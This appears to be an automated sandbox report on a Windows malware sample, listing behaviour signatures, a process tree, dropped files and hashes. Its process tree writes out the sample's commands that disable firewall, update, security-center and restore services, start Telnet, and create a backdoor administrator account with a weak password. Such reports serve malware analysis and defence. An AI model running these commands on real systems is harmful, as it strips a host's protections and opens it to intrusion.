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2026-05-10...te.exe

windows10-2004-x64

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2026-05-10...te.exe

windows11-21h2-x64

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Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/05/2026, 16:26

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General

  • Target
    2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
  • Size 7.9MB
  • Sample260510-txk5vae16r
  • SHA256 9477ff58bb83fcd61f9cba60181871b86a27ea239348ac3e8fe9e864d4272d13
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecution

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 2 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 57 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5604
    • C:\Windows\SysWOW64\UpdatAuto.exe
      C:\Windows\system32\UpdatAuto.exe
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4988
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5016
      • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Windows\system32\drivers\UpdatAuto~1.xls"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:5948
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Windows\SysWOW64\net.exe
          net stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3088
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop sharedaccess
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1160
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Windows\SysWOW64\net.exe
          net stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:668
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop wuauserv
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1612
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4732
        • C:\Windows\SysWOW64\net.exe
          net stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5800
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop wscsvc
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5652
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:748
        • C:\Windows\SysWOW64\net.exe
          net stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6140
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop srservice
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1056
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\SysWOW64\net.exe
          net start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1708
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 start TlntSvr
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1756
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5268
        • C:\Windows\SysWOW64\net.exe
          net user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5204
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 user helpassistant 123456
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2956
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5500
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:464
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators helpassistant /add
            5⤵
            • System Location Discovery: System Language Discovery
            PID:228
      • C:\Windows\SysWOW64\sc.exe
        sc config srservice start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4364
      • C:\Windows\SysWOW64\sc.exe
        sc config SharedAccess start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2256
      • C:\Windows\SysWOW64\sc.exe
        sc config wuauserv start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:916
      • C:\Windows\SysWOW64\sc.exe
        sc config wscsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4380
      • C:\Windows\SysWOW64\sc.exe
        sc config srservice start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5932
    • C:\Users\Admin\AppData\Local\Temp\2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1104
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop sharedaccess
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5356
      • C:\Windows\SysWOW64\net.exe
        net stop sharedaccess
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5624
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop sharedaccess
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1556
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wuauserv
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\SysWOW64\net.exe
        net stop wuauserv
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4080
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wuauserv
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5232
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop wscsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4956
      • C:\Windows\SysWOW64\net.exe
        net stop wscsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6084
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop wscsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2008
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net stop srservice
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\SysWOW64\net.exe
        net stop srservice
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3628
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop srservice
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1532
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net start TlntSvr
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4112
      • C:\Windows\SysWOW64\net.exe
        net start TlntSvr
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:6096
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 start TlntSvr
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5780
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net user helpassistant 123456
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4192
      • C:\Windows\SysWOW64\net.exe
        net user helpassistant 123456
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2308
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user helpassistant 123456
          4⤵
          • System Location Discovery: System Language Discovery
          PID:5532
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c net localgroup administrators helpassistant /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4240
      • C:\Windows\SysWOW64\net.exe
        net localgroup administrators helpassistant /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators helpassistant /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3556
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:6044
    • C:\Windows\SysWOW64\sc.exe
      sc config SharedAccess start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4252
    • C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4084
    • C:\Windows\SysWOW64\sc.exe
      sc config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3188
    • C:\Windows\SysWOW64\sc.exe
      sc config srservice start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4300

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
        • Path C:\Users\Admin\AppData\Local\Temp\2026-05-10_ef0ed1444f126b61dd70585fb06f628b_cobalt-strike_elex_hijackloader_icedid_njrat_redline-ste~4.exe
        • Size 3.6MB
        • SHA256 09ff6aa0010df2de26175e83ec8b153631ef2aa97b28ef21ff4faaa164c37819
        • MD5 SHA1 SHA512 SSDEEP TLSH
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        Option.bat
        • Path C:\Windows\SysWOW64\Option.bat
        • Size 53B
        • SHA256 0bc485263cf8a962e64db0b88f156f2a9af1b81ecfdb1cf9111d497e85df70f3
        • MD5 SHA1 SHA512 TLSH
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        UpdatAuto.exe
        • Path C:\Windows\SysWOW64\UpdatAuto.exe
        • Size 4.3MB
        • SHA256 64a2d8d6e3d9989e99bd65fea23deb681dc506b42dac90337f3c22df21eff2dd
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        ntldr~6
        • Path \??\c:\ntldr~6
        • Size 3.9MB
        • SHA256 f0e50ab5a2cd8e9948954db5e81e13a4953c895dcf01288a57eae043d66aa8db
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        memory/4772-59-0x0000000000630000-0x00000000006AC000-memory.dmp
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        memory/4988-31-0x00000000009E0000-0x0000000000A5C000-memory.dmp
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        memory/5948-32-0x00007FF9B5B70000-0x00007FF9B5B80000-memory.dmp
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        memory/5948-35-0x00007FF9B5B70000-0x00007FF9B5B80000-memory.dmp
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        memory/5948-36-0x00007FF9B5B70000-0x00007FF9B5B80000-memory.dmp
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        memory/5948-37-0x00007FF9B32D0000-0x00007FF9B32E0000-memory.dmp
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        memory/5948-38-0x00007FF9B32D0000-0x00007FF9B32E0000-memory.dmp
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        memory/5948-33-0x00007FF9B5B70000-0x00007FF9B5B80000-memory.dmp
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        memory/5948-34-0x00007FF9B5B70000-0x00007FF9B5B80000-memory.dmp
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